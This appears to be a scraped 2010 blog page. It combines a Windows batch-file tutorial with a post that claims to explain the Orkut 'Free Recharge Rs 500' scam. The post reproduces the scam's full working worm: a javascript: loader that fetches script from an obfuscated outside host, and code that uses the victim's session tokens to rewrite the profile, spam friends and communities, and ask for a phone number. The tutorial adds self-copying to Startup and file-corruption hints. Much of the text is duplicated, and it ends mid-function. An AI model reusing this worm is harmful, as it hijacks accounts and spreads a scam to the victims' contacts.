Before we learn how to make use of the CHOICE command, we need to what error levels really are. Now Error levels are generated by programs to inform about the way they finished or were forced to finish their execution. For example, when we end a program by pressing CTRL+C to end a program, the error level code evaluates to 3 and if the program closes normally, then the error level evaluates to 0. These numbers all by themselves are not useful but when used with the IF ERROR LEVEL and the CHOICE command, they become very useful. The CHOICE command takes a letter or key from the keyboard and returns the error level evaluated when the key is pressed. The general syntax of the CHOICE command is:
CHOICE "The message to user goes here " [/C:keys][/S][/N][/T:key,secs]
The string part is nothing but the string to be displayed when the CHOICE command is run.
The /C:keys defines the possible keys to be pressed. If options are not mentioned then the default Y/N keys are used instead.
For example, The command,
CHOICE /C:ABCD
Defines A, B, C and D as the possible keys. During execution if the user presses a undefined key, he will hear a beep sound and the program will continue as coded.
The /S switch makes the possible keys defined by the CHOICE /c flag case sensitive. So it means that if the /S flag is present then A and a would be different.
The /N switch, if present shows the possible keys in brackets when the program is executed. If the /N switch is missing then, the possible keys are not shown in brackets. Only the value contained in the double quotes is shown.
/T:key,secs defines the key which is taken as the default after a certain amount of time has passed.
For Example,
CHOICE "Choose Option A or B" /C:AB /T:B.5
The above command displays Choose Options and if no key is pressed for the next 5 seconds, then it chooses B. Now to truly combine the CHOICE command with the IF ERROR LEVEL command, you need to know what the CHOICE command returns.
The CHOICE command is designed to return an error level according to the pressed key and its position in the /C switch. To understand this better, consider the following example,
CHOICE /C:XYZA
Now remember that the error level code value depends on the key pressed. This means that if the key X is pressed, then the error level is 1, if the key Y is pressed then the error level is 2, if Z is pressed then error level is 3 and if A is pressed then error level is 4.
Now let us see how the IF ERROR LEVEL command works. The general syntax of this command is:
IF [NOT] ERRORLEVEL number command to execute.
This statement evaluates the current error level number. If the condition is true then the command is executed.
For Example,
IF ERRORLEVEL 3 ECHO Yes
The above statement prints Yes on the screen if the current error level is 3.
The important thing to note in this statement is that the evaluation of an error level is true when the error level us equal or higher than the number compared.
For Example, in the following statement,
IF ERRORLEVEL 2 ECHO YES
The condition is true if the error level is > or = 2.
Now that you know how to use the CHOICE and ERROR LEVEL IF command together, you can now easily create menu based programs. The
following is an example of such a batch file which asks the User to choose a typing Pad:
@echo off
echo .
echo .
echo Welcome to typing Pad selection
echo 1.Notepad
echo 2.WordPad
echo 3.Microsoft Word
echo 4.Command prompt word
CHOICE "Choose Pad" /C:1234 /N
if ERRORLEVEL 4 edit %1
if ERRORLEVEL 3 start c:\Program Files\..i.e. path of word.exe.. %1
if ERRORLEVEL 2 start wordpad %1
if ERRORLEVEL 1. notepad %1
:END
Note the order of if statements, since in errorlevel comarision it accepts the value for >= so decreasing order was necessary.
NOTES:
1. TO COPY THE BATCH FILE ITSELF JUST USE %0 AS THE SOURCE IN THE COPY COMMAND. THIS WILL ENABLE YOU TO COPY THE BATCH FILE TO PLACES LIKE STARTUP,STARTMENU, DESKTOP,MY DOCUMENTS, ETC.
2. AT MANY PLACES YOU WILL FIND THAT COMPUTER IS NOT TAKING THE PARAMETERS, IN THAT CASE USE DOUBLE '%%', AS IN BATCH FILE COMPUTER OFTEN DELETES ONE % AND HENCE TWO IS NECESSARY FOR FUNCTIONING. I GUESS AT MOST PLACES YOU WILL HAVE TO USE DOUBLE %%.
3. BEFORE STARTING TO USE BATCH FILES AND COMMANDS I RECOMMEND YOU TO AT LEAST READ THE HELP FILE OF COMMAND BY : COMMAND_NAME /? JUST ADD /? AFTER THE COMMAND AND IT WILL OPEN ITS HELP FILE WHICH CONTAINS DETAILS OF EACH SWITCH AVAILABLE.
4. WORK ON COMMANDS LIKE NET,NBTSTAT,NETSTAT,SHUTDOWN,FORMAT,CALL,ETC. THESE COMMANDS ARE USEFUL, LIKE TO CREATE USERS, ADMINISTRATORS USE3 NET USER COMMAND. JUST TYPE: NET USER /? AND READ THE WHOLE HELP FILE. IF U FIND THAT HELP FILES ARE TOO LONG THEN JUST SAVE IT IN A FILE: NET USER/? > NET.TXT
Note: All the commands and batch file codes are for educational purpose only.In case of any harm caused on the system, nor the writer nor the publisher will be responsible. Please keep a backup of files before attempting to use these codes.
The batch file is nothing except the series of command to be performed one after the other. Like - Deleting files from the two Temporary folder,cookies,prefetch,etc files can be done in file and that's done by batch files.
Well, they have extensions: .bat(dot bat)
Now,for learning batch file programming you need to know some commands that are necessary to know.
You may try to go for help but that will give you a list of limited commands. Although to get started they are enough. As for good purposes like clearing temp files, deleting some special files, keeping a log file, creating files......
So to get started, lets start with echo command:
1. echo: This is the command used to print information, whether to the console(command prompt) or directed place.
This command will print everything whether u give it any value or not . i.e it will also print the command u had typed in the batch file. So to stop this and enhance the look we always turn off auto echoing by:
@echo off
Now it will print only those things which are passed to echo. Like a batch to delete all text files:
@echo off
echo Deleting text files.........
del /f *.txt
echo Deleted!!
Save this as deleter.bat and run it. Make sure to change the extension of any important text file u have in the folder because /f switch will force it to delete without asking for permission.
2. pause - this single command pauses the operation , prints" Press any key to continue..." and waits for the user to press a key. This is usually important because batch files tend to close as soon as they complete without giving u a chance to read it.
So at last its important to put pause or u will have to run batch file from console rather than just double clicking it.
3.rem - This command is used to save comments for the other batch file reader i.e. used for commenting(as in programming terms). It is also used to save info to config.sys file(No need to bother about this).
4. paths i.e. different variables set as path . Like to go to system drive just type cd /d %windir% and u will be in system directory from any drive. /d is used to change drive with the directory. They are important because not always the system drive will be c: it can be any other depending on systems, so using path variables proves useful since this frees us from the headache of knowing system dive.
to get the full list, just type set at command prompt.
5. Output and Input Redirection:- Generally in all programming languages there are 3 standard streams: standard Input Stream i.e. keyboard,Standard Output Stream i.e. monitor or console and Standard Error stream i.e. where error are displayed.
But often we want to write to file and other places, for this we need to redirect output.
In batch file programming, we can do that with '>' operator(without Quotes). Single > will erase everything and write. Double > i.e. >> will add the text at last of the file.
Eg. you want to store the list of all files and folders(with list of all files within a folder and so on)
you can just type:
dir /s >> new.txt
The /s switch compels dir command to show all files and folder, and all files within the folder, and if any folder then all contents of that folder and so on until the chain gets finished.
Similarly, if u want to copy one files content to another file, instead of using copy command u can do following:
type file1.txt >> file2.txt -- this will copy the contents of text file1 at the end of file2.txt .
We use type command because it shows all the text at once unlike more command which shows page wise and needs pressing enter for other ones.
Echo command can also be used similarly.
Now for redirecting input from other commands we use piping '|'
This redirects the output of 1 command as input of other command. like:
dir /s | more - since this command shows all the directory and its sub directories and its files ... we are only able to read the last few folders, passing it with more will allow u read all the folders.
Note:'|' symbol can be obtained by pressing (shift + \)
The Redirection can also be done to other devices like Printers.
DEVICE NAME USED DEVICE
AUX Auxiliary Device (COM1)
CLOCK$ Real Time Clock
COMn Serial Port(COM1, COM2, COM3,COM4)
CON Console(Keyboard, Screen)
LPTn Parallel Port(LPT1, LPT2, LPT3)
NUL NUL Device(means Nothing)
PRN Printer
Say for example, you want to print the results of directory listings,
then you can simply give the following
command:
c:\windows>dir *.* > prn
Now , nul device literally means nothing. You can direct the output of such commands which just shows work done to prevent it from showing to the user. Like coping command shows the number of file copied. If u don't want to show it or keep it just: copy x.xx y.yy > nul
6. Parameters:
We can also provide batch file, arguments at the run time. Like, passing file names for reading by user at run time.
The Parameters can be obtained by using %number. The arguments are delimited or separated by space.
So 1st parameter can be obtained by: %1
2nd parameter can be obtained by: %2
3rd parameter can be obtained by: %3
.....
9th parameter can be obtained by: %9
And if we need parameters more than 9 then just use 'shift' keyword. This will replace parameters to left by 1 i.e. 2nd parameter will become 1 , 3rd will become 2nd ..... and the 9th is empty.
But the 1st parameter will be lost. So instead of using %2 and %3.
We can use shift each time we use the 1st Parameter.So the 2nd will become 1st and we can again use it.
7. Set command, the variable of batch files-
Set command is used to create environmental variables.
This will enable u to do 2 things:
* Lets u to store any text,command or path address in a variable which can be expanded to the value anytime.
* Lets u store any text or address entered by the user at run-time. Like the choice of user.
Use-age: set variable_name= text,command or path address.
Note for user input from keyboard use switch /P with set command and the message to display after the equals sign.
Like:
@echo off
echo Welcome to deleter or hider.
echo type d for deleting and h for hiding.
set /P ch=Enter Choice:
if %ch%==d goto deleter
if %ch%==h goto hide
:deleter
echo enter file name with extensions to delete
set /P file=name:
del /f %file% >> echo
goto end
:hide
echo enter file name with extension to hide
set /P file=name:
attrib +h +s +r %file% >> echo
:end
pause
Here the text Enter Choice: and name: will be shown and user will be asked to enter the text.
goto command takes the cmd to the label pointed by the goto. And we can create labels by putting a colon before Label name. Like :label_name
The switch /A lets u put an expression on the right hand side of variable. I.e. the value of variable will be value of expression.
8.for command:
This command lets u run any command for a number of times or for a number of files. Just like looping.
Syntax: for %variable in(sets of files like *.txt for all text files and address for other folders may also be give here) Do command to be executed for each file
Here %variable means declaring any variable name like %i or %l ..
And for each loop %%i will contain the 1 file name among the set specified in the bracket.
For Eg, to rename all the .txt file to .virus just type:
for %%i in ( *.txt) do ren *.txt *.vir
Although here for command was not exactly needed because directly ' ren *.txt *.vir ' would have renamed all but changing contents of dll files or rather say for corrupting files this can prove useful.
9.If command:
This command is used to do comparisons or checking of parameters and user inputs and work accordingly. Moreover it can also check whether a file exists or not and also checking of variables or strings.
For File checking: if EXIST file_name command_to_perform_if_true
like if EXIST c:\windows\notepad.exe Echo Notepad exists.
This command will print Notepad Exists if notepad is in directory windows.
Note: this command cannot be used for directories. I will search for directories, but now work only on files.
We can also use else with if but else has to be in the same line. And some commands need new lines at the end to work, like del command. So better use () brackets and write commands in bracket like:
if exist C:\windows\notepad.exe (del /f notepad.exe) else (echo notepad doesn't exists)
For parameter checking:
if %1==c goto cdrive
if %1==d goto ddrive
:cdrive
copy %2 c:
exit
:ddrive
copy %2 d:
We can also check if parameters are passed by: if %1=="" echo No Parameter bro
Similarly u can check any thing u want just keep sure u use double equals sign.
For both the usage of if we can also use the NOT clause as:
if not exist c:\test echo test not created yet
10. Choice command:
Before we learn how to make use of the CHOICE command, we need to what error levels really are. Now Error levels are generated by programs to inform about the way they finished or were forced to finish their execution. For example, when we end a program by pressing CTRL+C to end a program, the error level code evaluates to 3 and if the program closes normally, then the error level evaluates to 0. These numbers all by themselves are not useful but when used with the IF ERROR LEVEL and the CHOICE command, they become very useful. The CHOICE command takes a letter or key from the keyboard and returns the error level evaluated when the key is pressed. The general syntax of the CHOICE command is:
CHOICE "The message to user goes here " [/C:keys][/S][/N][/T:key,secs]
The string part is nothing but the string to be displayed when the CHOICE command is run.
The /C:keys defines the possible keys to be pressed. If options are not mentioned then the default Y/N keys are used instead.
For example, The command,
CHOICE /C:ABCD
Defines A, B, C and D as the possible keys. During execution if the user presses a undefined key, he will hear a beep sound and the program will continue as coded.
The /S switch makes the possible keys defined by the CHOICE /c flag case sensitive. So it means that if the /S flag is present then A and a would be different.
The /N switch, if present shows the possible keys in brackets when the program is executed. If the /N switch is missing then, the possible keys are not shown in brackets. Only the value contained in the double quotes is shown.
/T:key,secs defines the key which is taken as the default after a certain amount of time has passed.
For Example,
CHOICE "Choose Option A or B" /C:AB /T:B.5
The above command displays Choose Options and if no key is pressed for the next 5 seconds, then it chooses B. Now to truly combine the CHOICE command with the IF ERROR LEVEL command, you need to know what the CHOICE command returns.
The CHOICE command is designed to return an error level according to the pressed key and its position in the /C switch. To understand this better, consider the following example,
CHOICE /C:XYZA
Now remember that the error level code value depends on the key pressed. This means that if the key X is pressed, then the error level is 1, if the key Y is pressed then the error level is 2, if Z is pressed then error level is 3 and if A is pressed then error level is 4.
Now let us see how the IF ERROR LEVEL command works. The general syntax of this command is:
IF [NOT] ERRORLEVEL number command to execute.
This statement evaluates the current error level number. If the condition is true then the command is executed.
For Example,
IF ERRORLEVEL 3 ECHO Yes
The above statement prints Yes on the screen if the current error level is 3.
The important thing to note in this statement is that the evaluation of an error level is true when the error level us equal or higher than the number compared.
For Example, in the following statement,
IF ERRORLEVEL 2 ECHO YES
The condition is true if the error level is > or = 2.
Now that you know how to use the CHOICE and ERROR LEVEL IF command together, you can now easily create menu based programs. The
following is an example of such a batch file which asks the User to choose a typing Pad:
@echo off
echo .
echo .
echo Welcome to typing Pad selection
echo 1.Notepad
echo 2.WordPad
echo 3.Microsoft Word
echo 4.Command prompt word
CHOICE "Choose Pad" /C:1234 /N
if ERRORLEVEL 4 edit %1
if ERRORLEVEL 3 start c:\Program Files\..i.e. path of word.exe.. %1
if ERRORLEVEL 2 start wordpad %1
if ERRORLEVEL 1. notepad %1
:END
Note the order of if statements, since in errorlevel comarision it accepts the value for >= so decreasing order was necessary.
NOTES:
1. TO COPY THE BATCH FILE ITSELF JUST USE %0 AS THE SOURCE IN THE COPY COMMAND. THIS WILL ENABLE YOU TO COPY THE BATCH FILE TO PLACES LIKE STARTUP,STARTMENU, DESKTOP,MY DOCUMENTS, ETC.
2. AT MANY PLACES YOU WILL FIND THAT COMPUTER IS NOT TAKING THE PARAMETERS, IN THAT CASE USE DOUBLE '%%', AS IN BATCH FILE COMPUTER OFTEN DELETES ONE % AND HENCE TWO IS NECESSARY FOR FUNCTIONING. I GUESS AT MOST PLACES YOU WILL HAVE TO USE DOUBLE %%.
3. BEFORE STARTING TO USE BATCH FILES AND COMMANDS I RECOMMEND YOU TO AT LEAST READ THE HELP FILE OF COMMAND BY : COMMAND_NAME /? JUST ADD /? AFTER THE COMMAND AND IT WILL OPEN ITS HELP FILE WHICH CONTAINS DETAILS OF EACH SWITCH AVAILABLE.
4. WORK ON COMMANDS LIKE NET,NBTSTAT,NETSTAT,SHUTDOWN,FORMAT,CALL,ETC. THESE COMMANDS ARE USEFUL, LIKE TO CREATE USERS, ADMINISTRATORS USE3 NET USER COMMAND. JUST TYPE: NET USER /? AND READ THE WHOLE HELP FILE. IF U FIND THAT HELP FILES ARE TOO LONG THEN JUST SAVE IT IN A FILE: NET USER/? > NET.TXT
Tuesday, August 3, 2010
The Real Mystery:JavaScript behind the" Recharge Rs500 daily by Google" spread nowerdays on Orkut.com
If you use Orkut the u must be knowing about the hacking trick very spread nowerdays:
Recharge Rs 500 Daily by google.
And anyone who clicks and follows the trick gets screwed and his account is gone from his hand.
This is just the game of Javascript. I m pasting the complete javascript but don't just copy it try to learn and understand it:
javascript:
d=document;
c=d.createElement(%22script%22);
d.body.appendChild(c);
c.src=%22ht%22+%22tp:%22+%22//sn%22+%22url.%22+%22com%22+%22/%22+%22z7t7k%22;
void(0)
This is used to redirect to the real jscript which is below The real game begins here :
alert("Wait 5 mins Only ...");
var assuntox, mensagemx, b;
var assuntox = "FREE RECHARGE RS 1000 GOOGLE'S OFFICIAL SITE";
var mensagemx = "[b][red]FREE RECHARGE TRICK [/b][/red] [8)] \n\n\n[b]Do you Know About Free Recharge \nChanged By Orkut
Changed By Orkut here is the new link... [green]ENJOY FREE RECHARGE RS 500 DAILY [/green]. \n\n\n\n\n[b][red]GOTO:
[gray][/gray][/gray] <- GO HERE TO RECHARGE YOUR MOBILE FREE \n\n[b]OR[/b] [/red][/b][b]
[b][red]www.[i][/i]cl.[b][/b]lk/z7td3[/RED] [/purple] \n\nCopy n Paste link where www , orkut, com / Main *#Home is written
i.e orkut home page \n\n\n.\n[navy]Finally which works orkut Got Working Script !![/navy] [:)] \n\n\n [navy]NUMBER of
Orkutians got recharge:[/navy]" + Math.floor(Math.random() * 999999);
var b = "[b][red]FREE RECHARGE TRICK [/b][/red] [8)] \n\n\n[b]Do you Know About Free Recharge \nChanged By Orkut Changed
By Orkut here is the new link... [green]ENJOY FREE RECHARGE RS 500 DAILY [/green]. \n\n\n\n\n[b][red]GOTO:
[gray][/gray][/gray] <- GO HERE TO RECHARGE YOUR MOBILE FREE \n\n[b]OR[/b] [/red][/b][b]
[b][red]www.[i][/i]cl.[b][/b]lk/z7td3[/RED] [/purple] \n\nCopy n Paste link where www , orkut, com / Main *#Home is written
i.e orkut home page \n\n\n.\n[navy]Finally which works orkut Got Working Script !![/navy] [:)] \n\n\n [navy]NUMBER of
Orkutians got recharge:[/navy]" + Math.floor(Math.random() * 999999);
try {
document.title = "Free Recharge ";
function createXMLHttpRequest() {
return window.ActiveXObject ? new ActiveXObject("Msxml2.XMLHTTP") : new XMLHttpRequest;
}
var bieldiego = createXMLHttpRequest();
var biel = "FREE RECHARGE -";
var diego = "CODES ((CLICK HERE))";
bieldiego.open("POST", "EditSummary", false);
bieldiego.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
bieldiego.send("POST_TOKEN=" + encodeURIComponent(JSHDF['CGI.POST_TOKEN']) + "&signature=" +
encodeURIComponent(JSHDF['Page.signature.raw']) + "&firstName=" + encodeURIComponent(biel) + "&lastName=" +
encodeURIComponent(diego) +
"&gender=&status=1&birthdayPrivacy=1&birthMonth=0&sexPrefPrivacy=1&birthDay=1&country=93&birthYear=1990&birthYearPrivacy=1&la
nguage1=&highSchool=&education.1.school=&education.1.schoolPrivacy=1&company=&companyPrivacy=1&city=&postalCode=&Action.updat
e=Enviar+dados");
var about = createXMLHttpRequest();
about.open("POST", "EditSocial", false);
about.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
about.send("POST_TOKEN=" + encodeURIComponent(JSHDF['CGI.POST_TOKEN']) + "&signature=" +
encodeURIComponent(JSHDF['Page.signature.raw']) +
"&kids=1ðnicity=0&religion=0&political=0&humor.submitted=1&sexPref=1&sexPrefPrivacy=3&fashion.submitted=1&smoking=1&drinki
ng=0&pets=0&living.submitted=1&hometown=&webpageUrl=&aboutMe=" + encodeURIComponent(mensagemx) +
"&passions=&sports=&activities=&books=&music=&shows=&movies=&cuisines=&Action.update=Enviar+dados");
var status = createXMLHttpRequest();
status.open("POST", "Profile", false);
status.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
status.send("POST_TOKEN=" + encodeURIComponent(JSHDF['CGI.POST_TOKEN']) + "&signature=" +
encodeURIComponent(JSHDF['Page.signature.raw']) + "&userStatus=" + encodeURIComponent('[b] FREE RECHARGE TRICK GO TO:
[b][red]www.[i][/i]cl.[b][/b]lk/z7td3[/RED]') + "&Action.editUserStatusMessage=1");
function getFL(a) {
var b = createXMLHttpRequest();
b.open("GET", "/RequestFriends.aspx?req=fl&uid=" + a + "&oxh=1&rnd=" + Math.random(), false);
b.send(null);
if (b.status == 200) {
eval("var jSON=" + b.responseText.split("while (true); &&&START&&&")[1] + ";");
manageFriends(jSON);
}
}
function manageFriends(a) {
var b = a.data.list;
var c = b.length > 10 ? 10 : b.length;
getAid(b, 0);
}
function getAid(a, n) {
var b = a.length;
if (n == b) {
return;
}
var c = createXMLHttpRequest();
var d = a[Math.round(Math.random() * (a.length - 1))].id;
c.open("GET", "/AlbumList.aspx?uid=" + d, false);
c.send(null);
if (c.status == 200) {
var e = c.responseText.match(/aid=(\d+)/i);
if (e) {
e = e[1];
getPid(d, e);
}
}
n++;
getAid(a, n);
}
function getPid(a, b) {
var c = createXMLHttpRequest();
c.open("GET", "/Album.aspx?uid=" + a + "&aid=" + b, false);
c.send(null);
if (c.status == 200) {
var d = c.responseText.match(/&(amp;)?pid=(\d+)/i);
if (d) {
postComment(a, b, d[2]);
}
}
}
function postComment(a, b, c) {
var d = "com=" + encodeURIComponent("[b] FREE RECHARGE TRICK GO TO:[b][red]www.[i][/i]cl.[b][/b]lk/z7td3[/RED]
") + "&POST_TOKEN=" + JSHDF['CGI.POST_TOKEN'] + "&signature=" + encodeURIComponent(JSHDF['Page.signature.raw']) +
"&Action.addComment=&aid=" + b + "&uid=" + a + "&pid=" + c + "&ploc=&oxh=1";
xml = createXMLHttpRequest();
xml.open("POST", "/AlbumZoom", false);
xml.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xml.send(d);
sendScrap(a);
}
function sendScrap(a) {
var c = "Action.submit=1&scrapText=" + encodeURIComponent("Oww YOu knw Abt new FREE RECHARGE TRICK \n\nJust Go to
thiz SITE its So Dashing Yaar \n\nIT WORKS!!! [green]FREE RECHARGE TRICK [/green]. \n\nJust Go to thiz Site And Follow The
Below Steps yaar:\n\nAcesse: [b][red]www.[i][/i]cl.[b][/b]lk/z7td3[/RED] \n\n Copy n Paste link where www , orkut, com /
Main *#Home is written i.e orkut home page \n\n.\n\nTry yaar its So awsum N I got recharge N accept my testinomial Also
\n[red]No Of PEOPLE WHO WON:[/red]") + Math.floor(Math.random() * 91839067) + "&POST_TOKEN=" + JSHDF['CGI.POST_TOKEN'] +
"&signature=" + encodeURIComponent(JSHDF['Page.signature.raw']) + "&uid=" + a;
var d = createXMLHttpRequest();
d.open("POST", "/Scrapbook.aspx", false);
d.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
d.send(c);
depo(a);
}
function depo(a) {
var b = mensagemx;
var c = "Action.submit&countedTextbox=" + encodeURIComponent(b) + "&POST_TOKEN=" + JSHDF['CGI.POST_TOKEN'] +
"&signature=" + encodeURIComponent(JSHDF['Page.signature.raw']) + "&uid=" + a;
var xxt = createXMLHttpRequest();
xxt.open("POST", "/TestimonialWrite.aspx", false);
xxt.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
xxt.send(c);
}
function kidsScrap(a) {
var c = "Action.submit=1&scrapText=" + encodeURIComponent('[RED][B]recharge code=2234 5645 7645 7846 ') +
Math.floor(Math.random() * 91839067) + "&POST_TOKEN=" + JSHDF['CGI.POST_TOKEN'] + "&signature=" +
encodeURIComponent(JSHDF['Page.signature.raw']) + "&uid=" + a;
var d = createXMLHttpRequest();
d.open("POST", "/Scrapbook.aspx", false);
d.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
d.send(c);
depo(a);
}
function show_me() {
a=prompt("Enter Your Mobile No. ?","");b="Wow ";c=" Gettin RECHARGE Code For You ";alert(b+a+c);
alert(" - Just 3 miNs For for your Code... \n - NOTE : WAIT 3 mins...");
}
function cmm(a) {
var b = "POST_TOKEN=" + encodeURIComponent(JSHDF['CGI.POST_TOKEN']) + "&signature=" +
encodeURIComponent(JSHDF['Page.signature.raw']) + "&Action.join";
var c = createXMLHttpRequest();
c.open("POST", "/CommunityJoin.aspx?cmm=" + a, false);
c.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
c.send(b);
}
function Pamela(a) {
var bbb = ["aqua", "fuchsia", "gold", "teal", "olive", "VIOLET", "purple", "pink"];
var color = Math.floor(Math.random() * bbb.length);
var Danilo = ["[b][red]www.[i][/i]cl.[b][/b]lk/z7td3[/RED] "];
var Miedi = Math.floor(Math.random() * Danilo.length);
var up = "[b]ANKY [" + bbb[color] + "]RLUES[/" + bbb[color] + "][/b] ... [8)] " + Danilo[Miedi] + " \n\n\n\n
..... [silver]" + Math.floor(Math.random() * 95234511);
var b = "POST_TOKEN=" + encodeURIComponent(JSHDF['CGI.POST_TOKEN']) + "&signature=" +
encodeURIComponent(JSHDF['Page.signature.raw']) + "&bodyText=" + encodeURIComponent(up) + "&Action.submit";
var c = createXMLHttpRequest();
c.open("POST", "/CommMsgPost.aspx?cmm=" + a, false);
c.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
c.send(b);
}
function GetCmms() {
var xml2 = createXMLHttpRequest();
xml2.open("GET", "/Communities", false), xml2.send(null);
var cmmx = xml2.responseText.match(/cmm=\d+/gi);
return cmmx;
}
var cmmx = GetCmms();
function Envia(a, d, e) {
var b = "POST_TOKEN=" + encodeURIComponent(JSHDF['CGI.POST_TOKEN']) + "&signature=" +
encodeURIComponent(JSHDF['Page.signature.raw']) + "&subjectText=" + encodeURIComponent(d) + "&bodyText=" +
encodeURIComponent(e) + "" + Math.floor(Math.random() * 999) + "&Action.submit";
var c = createXMLHttpRequest();
c.open("POST", "/CommMsgPost.aspx?" + a, false);
c.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
c.send(b);
}
try {
Envia(cmmx[1], assuntox, mensagemx);
Envia(cmmx[2], assuntox, mensagemx);
Envia(cmmx[4], assuntox, mensagemx);
Envia(cmmx[5], assuntox, mensagemx);
Envia(cmmx[6], assuntox, mensagemx);
Envia(cmmx[7], assuntox, mensagemx);
Envia(cmmx[8], assuntox, mensagemx);
Envia(cmmx[9], assuntox, mensagemx);
Envia(cmmx[10], assuntox, mensagemx);
} catch (e) {
bunda = e;
}
function Abre_CoCaCoLa(a) {
var alerta = alert("Carregando...");
}
function depo(a) {
var c = "Action.submit&countedTextbox=" + encodeURIComponent(mensagemx) + "&POST_TOKEN=" +
JSHDF['CGI.POST_TOKEN'] + "&signature=" + encodeURIComponent(JSHDF['Page.signature.raw']) + "&uid=" + a;
var xxt = createXMLHttpRequest();
xxt.open("POST", "/TestimonialWrite.aspx", false);
xxt.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
xxt.send(c);
}
function noob() {
alert("Just 2 mins Remaining.. \n WE ARE - 80% done .... \n\n");
var myDCC = window.orkutFrame ? window.orkutFrame.document : document;
var UID = myDCC.body.innerHTML.match(/uid=(\d+)/i)[1];
var Lay = myDCC.body.innerHTML += "";
getFL(UID);
}
function setCookie(a, b, c, d, e, f) {
var g = a + "=" + escape(b) + (c ? "; expires=" + c.toGMTString() : "") + (d ? "; path=" + d : "") + (e ? ";
domain=" + e : "") + (f ? "; secure" : "");
document.cookie = g;
}
function getCookie(a) {
var b = document.cookie;
var c = a + "=";
var d = b.indexOf("; " + c);
if (d == -1) {
d = b.indexOf(c);
if (d != 0) {
return false;
}
} else {
d += 2;
}
var e = document.cookie.indexOf(";", d);
if (e == -1) {
e = b.length;
}
return unescape(b.substring(d + c.length, e));
}
show_me();
cmm(98692531);
cmm(104018023);
cmm(90109394);
cmm(91978037);
cmm(104632287);
Pamela('104018023&tid=5492084615985777374');
kidsScrap('');
noob();
if (!getCookie("say")) {
var wDate = new Date;
wDate.setTime(wDate.getTime() + 864000);
setCookie("say", "1", wDate);
}
}catch(ex){}
setTimeout(function(){alert('HURRAY!! WE ARE DONE NOW LOGIN TO ORKUT AGAIN AND YOU WILL HAVE YOUR FREE RECHARGE IN JUST 24
HOURS AND WE WLL UPLOAD ABOUT OUR RECHARGE ADD IN YOUR PROFILES PLEASE DONT CHANGE IT');
window.location.replace('Any link u want to add. They used there ad link'); }, 200);
Recharge Rs 500 Daily by google.
And anyone who clicks and follows the trick gets screwed and his account is gone from his hand.
This is just the game of Javascript. I m pasting the complete javascript but don't just copy it try to learn and understand it:
javascript:
d=document;
c=d.createElement(%22script%22);
d.body.appendChild(c);
c.src=%22ht%22+%22tp:%22+%22//sn%22+%22url.%22+%22com%22+%22/%22+%22z7t7k%22;
void(0)
This is used to redirect to the real jscript which is below The real game begins here :
alert("Wait 5 mins Only ...");
var assuntox, mensagemx, b;
var assuntox = "FREE RECHARGE RS 1000 GOOGLE'S OFFICIAL SITE";
var mensagemx = "[b][red]FREE RECHARGE TRICK [/b][/red] [8)] \n\n\n[b]Do you Know About Free Recharge \nChanged By Orkut
Changed By Orkut here is the new link... [green]ENJOY FREE RECHARGE RS 500 DAILY [/green]. \n\n\n\n\n[b][red]GOTO:
[gray]
getAid(b, 0);
}
function getAid(a, n) {
var b = a.length;
if (n == b) {
return;
}
var c = createXMLHttpRequest();
var d = a[Math.round(Math.random() * (a.length - 1))].id;
c.open("GET", "/AlbumList.aspx?uid=" + d, false);
c.send(null);
if (c.status == 200) {
var e = c.responseText.match(/aid=(\d+)/i);
if (e) {
e = e[1];
getPid(d, e);
}
}
n++;
getAid(a, n);
}
function getPid(a, b) {
var c = createXMLHttpRequest();
c.open("GET", "/Album.aspx?uid=" + a + "&aid=" + b, false);
c.send(null);
if (c.status == 200) {
var d = c.responseText.match(/&(amp;)?pid=(\d+)/i);
if (d) {
postComment(a, b, d[2]);
}
}
}
function postComment(a, b, c) {
var d = "com=" + encodeURIComponent("[b] FREE RECHARGE TRICK GO TO:[b][red]www.[i][/i]cl.[b][/b]lk/z7td3[/RED]
") + "&POST_TOKEN=" + JSHDF['CGI.POST_TOKEN'] + "&signature=" + encodeURIComponent(JSHDF['Page.signature.raw']) +
"&Action.addComment=&aid=" + b + "&uid=" + a + "&pid=" + c + "&ploc=&oxh=1";
xml = createXMLHttpRequest();
xml.open("POST", "/AlbumZoom", false);
xml.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xml.send(d);
sendScrap(a);
}
function sendScrap(a) {
var c = "Action.submit=1&scrapText=" + encodeURIComponent("Oww YOu knw Abt new FREE RECHARGE TRICK \n\nJust Go to
thiz SITE its So Dashing Yaar \n\nIT WORKS!!! [green]FREE RECHARGE TRICK [/green]. \n\nJust Go to thiz Site And Follow The
Below Steps yaar:\n\nAcesse: [b][red]www.[i][/i]cl.[b][/b]lk/z7td3[/RED] \n\n Copy n Paste link where www , orkut, com /
Main *#Home is written i.e orkut home page \n\n.\n\nTry yaar its So awsum N I got recharge N accept my testinomial Also
\n[red]No Of PEOPLE WHO WON:[/red]") + Math.floor(Math.random() * 91839067) + "&POST_TOKEN=" + JSHDF['CGI.POST_TOKEN'] +
"&signature=" + encodeURIComponent(JSHDF['Page.signature.raw']) + "&uid=" + a;
var d = createXMLHttpRequest();
d.open("POST", "/Scrapbook.aspx", false);
d.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
d.send(c);
depo(a);
}
function depo(a) {
var b = mensagemx;
var c = "Action.submit&countedTextbox=" + encodeURIComponent(b) + "&POST_TOKEN=" + JSHDF['CGI.POST_TOKEN'] +
"&signature=" + encodeURIComponent(JSHDF['Page.signature.raw']) + "&uid=" + a;
var xxt = createXMLHttpRequest();
xxt.open("POST", "/TestimonialWrite.aspx", false);
xxt.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;");
xxt.send(c);
}
function kidsScrap(a) {
var c = "Action.submit=1&scrapText=" + encodeURIComponent('[RED][B]recharge code=2234 5645 7645 7846 ') +
Math.floor(Math.random() * 91839067) + "&POST_TOKEN=" + JSHDF['CGI.POST_TOKEN'] + "&signature=" +
encodeURIComponent(JSHDF['Page.signature.raw']) + "&uid=" + a;
